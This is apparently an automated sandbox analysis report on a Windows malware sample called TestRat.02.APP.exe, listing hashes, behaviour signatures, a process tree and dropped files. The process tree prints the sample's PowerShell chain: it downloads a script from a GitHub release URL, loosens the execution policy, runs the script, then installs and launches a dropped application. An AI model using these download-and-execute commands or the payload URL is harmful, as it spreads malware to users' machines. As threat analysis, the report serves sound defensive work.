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Analysis
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max time kernel
129s -
max time network
141s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
22/07/2024, 17:00
Static task
static1
Behavioral task
behavioral1
Sample
TestRat.02.APP.exe
Resource
win10v2004-20240709-en
Behavioral task
behavioral2
Sample
TestRat.02.APP.exe
Resource
win11-20240709-en
Behavioral task
behavioral3
Sample
TestRat.02.APP.exe
Resource
win10v2004-20240709-en
Behavioral task
behavioral4
Sample
TestRat.02.APP.exe
Resource
win11-20240709-en
General
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Target
TestRat.02.APP.exe
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Size
139KB
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MD5
6d75b31bfa691bdf32c0c9331c8b7ff7
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SHA1
5387d89075eb924adca7318add02c0bca8812a9e
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SHA256
fb1e3c46ce349e7ae853621f708fe0bfa08e142b6f6262dc9ab6f8e03cb5380f
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SHA512
ca08fd9ed2543ff13167f57e27fe4fbb6a395161e25902b7c9ec562034f6cb9aa24f2a32c04341b5ac29c49bd683393856742bd0f400e2c0cc660760ab2b7b83
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SSDEEP
3072:CAi4pxpEHmAdx4/kyHRZa0YiRAl278IVn2JbS1cJA8lW7:CAi4pxpRkyHRZa0Gl278IVNc2cW
Malware Config
Extracted
https://github.com/Daulaires/Daulaires/releases/download/Lester/Demo.zip
Signatures
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Blocklisted process makes network request 4 IoCs
flow pid Process 6 1448 powershell.exe 11 1448 powershell.exe 77 1672 powershell.exe 78 1672 powershell.exe -
pid Process 2240 powershell.exe 1448 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation setup.exe -
Executes dropped EXE 1 IoCs
pid Process 2012 setup.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\system32\taskschd.msc mmc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000_Classes\Local Settings setup.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 1512 notepad.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 1600 powershell.exe 2240 powershell.exe 1448 powershell.exe 2240 powershell.exe 1600 powershell.exe 1448 powershell.exe 1672 powershell.exe 1672 powershell.exe 1672 powershell.exe 1672 powershell.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4804 mmc.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1600 powershell.exe Token: SeDebugPrivilege 2240 powershell.exe Token: SeDebugPrivilege 1448 powershell.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe Token: SeIncBasePriorityPrivilege 4804 mmc.exe Token: 33 4804 mmc.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 4804 mmc.exe 4804 mmc.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 2108 wrote to memory of 1448 2108 TestRat.02.APP.exe 86 PID 2108 wrote to memory of 1448 2108 TestRat.02.APP.exe 86 PID 2108 wrote to memory of 2240 2108 TestRat.02.APP.exe 87 PID 2108 wrote to memory of 2240 2108 TestRat.02.APP.exe 87 PID 2108 wrote to memory of 1600 2108 TestRat.02.APP.exe 88 PID 2108 wrote to memory of 1600 2108 TestRat.02.APP.exe 88 PID 1672 wrote to memory of 2012 1672 powershell.exe 124 PID 1672 wrote to memory of 2012 1672 powershell.exe 124 PID 1672 wrote to memory of 2012 1672 powershell.exe 124 PID 2012 wrote to memory of 5064 2012 setup.exe 125 PID 2012 wrote to memory of 5064 2012 setup.exe 125 PID 2012 wrote to memory of 5064 2012 setup.exe 125 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\TestRat.02.APP.exe"C:\Users\Admin\AppData\Local\Temp\TestRat.02.APP.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2108 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Invoke-WebRequest -Uri https://github.com/Daulaires/Daulaires/releases/download/Lester/quick_setup.ps1 -OutFile quick_setup.ps12⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1448
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2240
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" .\quick_setup.ps12⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1600
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C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\taskschd.msc" /s1⤵
- Drops file in System32 directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4804
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:4012
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe" "C:\Users\Admin\AppData\Local\Temp\quick_setup.ps1"1⤵
- Opens file in notepad (likely ransom note)
PID:1512
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1672 -
C:\Users\Public\Desktop\Demo\setup.exe"C:\Users\Public\Desktop\Demo\setup.exe" /S2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2012 -
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbApplication C:\Users\Public\Desktop\Demo\Eleven.application3⤵PID:5064
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
2KB
MD5d136d3411d4aa688242c53cafb993aa6
SHA11a81cc78e3ca445d5a5193e49ddce26d5e25179f
SHA25600ae5433c0107cc164516c7849b4cff7b6faeb52e5afa65c01dbd8c7a5efe397
SHA512282ea53f8093c00e8c64d253782068211f8c4187391d5078755f55dedb8825c0042173d82f489d7b6c06e88184b70e83c1e92dadb80f57bd96c95855ac6b3da1
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Filesize
944B
MD56d42b6da621e8df5674e26b799c8e2aa
SHA1ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA2565ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA51253faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
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Filesize
1KB
MD5a2b24af1492f112d2e53cb7415fda39f
SHA1dbfcee57242a14b60997bd03379cc60198976d85
SHA256fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073
SHA5129919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
465B
MD5dc1d37b54dcee4e8b43f54772eba22f0
SHA164e58eb51f67b0b8d6b25e368b2ed13e0ca7b0fb
SHA25611681c3f14427761e8a36acbe9f2cc611b01858e2c75c399412bec8c65c5fa2a
SHA5126a6b053891961c219bd0fed957a03c2db79ef38013aca173f318000ca44b7a94e99895ab206f495869d7dac314e4d7a0e4df4aae9245ae2668c2004385f359db
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Filesize
187B
MD515c8c4ba1aa574c0c00fd45bb9cce1ab
SHA10dad65a3d4e9080fa29c42aa485c6102d2fa8bc8
SHA256f82338e8e9c746b5d95cd2ccc7bf94dd5de2b9b8982fffddf2118e475de50e15
SHA51252baac63399340427b94bfdeb7a42186d5359ce439c3d775497f347089edfbf72a6637b23bb008ab55b8d4dd3b79a7b2eb7c7ef922ea23d0716d5c3536b359d4
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C:\Users\Public\Desktop\Demo\Application Files\Eleven_1_0_0_5\de\Microsoft.Win32.TaskScheduler.resources.dll.deploy
Filesize9KB
MD5cce365095b4827c48eb851b98b5ac86c
SHA1a40b68adecdf3a7a529f5a0c46e748477602e115
SHA25638be8d2583541f2bf60fcfd95eb2ec0f4570bf7ff445023600a2607633fe6ea2
SHA512a5b58debb9cffc5834435ca40de27730f6934027eae4e46ee9cf3e0984ecf8fb9325fbf6287ca3c5b1897128d5059189bea4558e96815ed92611e69de7d5e4a1
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C:\Users\Public\Desktop\Demo\Application Files\Eleven_1_0_0_5\es\Microsoft.Win32.TaskScheduler.resources.dll.deploy
Filesize10KB
MD51408dcf0e733feca14cbbbda7b4a917a
SHA18f7d65da58bcb153cb5addbb2c9ea6f3f2e41f74
SHA256b54e7c0368dcbd350815a4207dfd144c8555997be60f2d8563590e11721aae45
SHA51291dd79e002547c5fa07aa6d4f6eb0075ed1d7f8281156775cfb6ea6a9c7e4ddac4df9ef1160829a502917a4dd6cdec3b1439a37a2e8f4e82ebd40f0364536d60
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C:\Users\Public\Desktop\Demo\Application Files\Eleven_1_0_0_5\fr\Microsoft.Win32.TaskScheduler.resources.dll.deploy
Filesize10KB
MD5ff2447103c0b2ace6e06474ef44519fc
SHA19587566ff2cd6d3bc400f1e1300cef258127953b
SHA25671a0ff1dcb30dcdc838ecdfebd788acd0f64c4eadb7bedbe473827c1fcca21a0
SHA512395c24e3c9a5d1fde08125deff5233f3d22692611c50cfef32f32f38e047c3d31d0c26a007240d0b695651df5abe3cb7fafa2a89176186b9b753a4e866a066ff
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C:\Users\Public\Desktop\Demo\Application Files\Eleven_1_0_0_5\it\Microsoft.Win32.TaskScheduler.resources.dll.deploy
Filesize10KB
MD5219e3fca6ce9fd1a81f93204b5eff759
SHA1c30dfada4ace03f52f9b9fbd640c33e0358ff0f3
SHA256fd86b62d37f033217bf73cfce565b6ff7f647dcc0b0db346cff42e226aaae27e
SHA512350936613a3f57b81bfed686a673682fe99fd9317cfc04b14a300d29f5b45b256e6315cdeb49afa38f7f7d0a312f614f32cf5f83ba0b89bba32997fb7e236727
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C:\Users\Public\Desktop\Demo\Application Files\Eleven_1_0_0_5\ja\Microsoft.Win32.TaskScheduler.resources.dll.deploy
Filesize10KB
MD50d4f5ebed1fdbf4495827f480349b4d9
SHA10e90cec00d0c1702531de940a2259d819a38b1bd
SHA256db4d7ccc6ff1a58d3cb94e5ab49d5d93943c64c35d10b283ed51191f9d3a655d
SHA512d7c11e5fea1dbe98a93d2fe0b00b2e9dd6ebe77cbac559822c4d0e1071f0cab0a8e3bc992f6ed0ffd9f23f0af592dc906744415a9914ad337eb3946c9532fa0c
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C:\Users\Public\Desktop\Demo\Application Files\Eleven_1_0_0_5\pl\Microsoft.Win32.TaskScheduler.resources.dll.deploy
Filesize10KB
MD5650119802a82603072b8af317c1b220a
SHA1c9636dab6314981dfb84029444a8ee7bca7ad782
SHA2569a34ee28ae9a8364287517c993077afd139fea1f69086aa51345e1045b1287e9
SHA512635c1462948d3d9817981d9d8182d3354911d2e7262f3fdda2df1f91538f2cf13d0329ea517d67c6e54ceb9d47547faba10a134b3ecc631ee5ceee54cf8de4ff
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C:\Users\Public\Desktop\Demo\Application Files\Eleven_1_0_0_5\ru\Microsoft.Win32.TaskScheduler.resources.dll.deploy
Filesize10KB
MD5a0c3f4f5d9a970e2e7859fe81ad1fcce
SHA1c5084fe347dba5826e1a8371f1b83c5e25ac7e82
SHA2564265a4010ea2fa79897333d8dbb0b4229d2d9aedeeb45fc47719d0b31355f480
SHA512711220a3e0cab099af51887dd6fabcf22d5b8e102c6771d2d173a04a8fa22ea7752817e5554057a49d5681129604d94de95a5c2855f8dd674a2678d56eac69b6
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C:\Users\Public\Desktop\Demo\Application Files\Eleven_1_0_0_5\sv\Microsoft.Win32.TaskScheduler.resources.dll.deploy
Filesize9KB
MD5f733fcbdffe36b8e3c5e02af14d6d458
SHA155301694f0a4732e35bf8d1043f1318630c54057
SHA256078047942ef77eba4bbda2a5f22d572b82a86f7060589aace64cb0c187d3942e
SHA5122dcb6f72f2cc4daf095bd63e6741fb0a52dc01196197beed0cecc636f1dc91d076e0c8b3e5398172e6bfb6c470e1a244dcc90b631fe6528cd4ae9d000c76697f
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C:\Users\Public\Desktop\Demo\Application Files\Eleven_1_0_0_5\tr\Microsoft.Win32.TaskScheduler.resources.dll.deploy
Filesize10KB
MD5aace67685fd7644169aa26477abda8a9
SHA19bda66c81dfac4dc76efe52abb5d4e34438216f6
SHA2560d4b98dd368ca2389d75d69e9e006c9e88564dbffcfc2216d3fab87c99785db4
SHA512d31f2f991450668418ffca28958079c4237b5588c3a62d52225d1faeb0d10e6a5e89ad33e997977f083016219cdfe2ed45a735fcfc9b9babef4c2ac824e03205
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C:\Users\Public\Desktop\Demo\Application Files\Eleven_1_0_0_5\zh-CN\Microsoft.Win32.TaskScheduler.resources.dll.deploy
Filesize9KB
MD5d11238d12633e7ef9698a3c0780e8ebb
SHA16057cd2b0fd283a99ce0589a1a5913468743e1e2
SHA25642570851b0a73df1a810133e5ce9b396ca820d8000f0d2fd24862ba5c1da1e63
SHA512a052b578e6c130c7319493488b68b804b73ecc88b12aa6620093a18233a054e91e1e90e1736be53bb74c1829e7229af3a128f9557c1a6792b165d08c5fede45e
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C:\Users\Public\Desktop\Demo\Application Files\Eleven_1_0_0_5\zh-Hant\Microsoft.Win32.TaskScheduler.resources.dll.deploy
Filesize9KB
MD5b7a183a68c0ffd49074da859ccd79d1e
SHA1d13f2ad7b6025175bc0473a6533e035fd697e1b5
SHA256c845e45ecaf2d9852f80a7f56fede5eb33b70d2cbcd6c0bcccf5bc8d2b576336
SHA512eeb149b81ed7f42829143f3080649d0fcb802e06c51ea21bc94d6fb94fa39efd0ebef46551564ccbfaef08a10442141f7573782e52380682bd4bdd9a9c3834d7
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Filesize
5KB
MD59138f7a65de2b71e19e5937b0a1937f0
SHA15a1157f39d4a5679845dd768b74e1aa7359c716a
SHA25631f03b9f3e455ad89ce950f6f0ac1f25a45f6b9e714dac575b792f2d148e7e1e
SHA512e73457532ad6db3787ccce691a333a4effcd61c54c04f569bb6b5c334fe6f243c00402a4676e0131898f4a66ee141b39a147254ea12ce93588971dce14a61a40
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Filesize
552KB
MD5ad1848193be64a450019fce578574080
SHA1de6e57880b01402fd75e7fa2ed30b5c9519a0a76
SHA256f28983daf13eb54a15eee49f1be496191972f99cc2bca90ce1296d8f9d602c22
SHA512340c0a7d426c65d3c7c66c97a168e0dc12eef5ba2f8e53e068f26f8082731c4cf294e918f1788e8a367516ffdfd9e24be6944804a4050778f842828d5be0fb98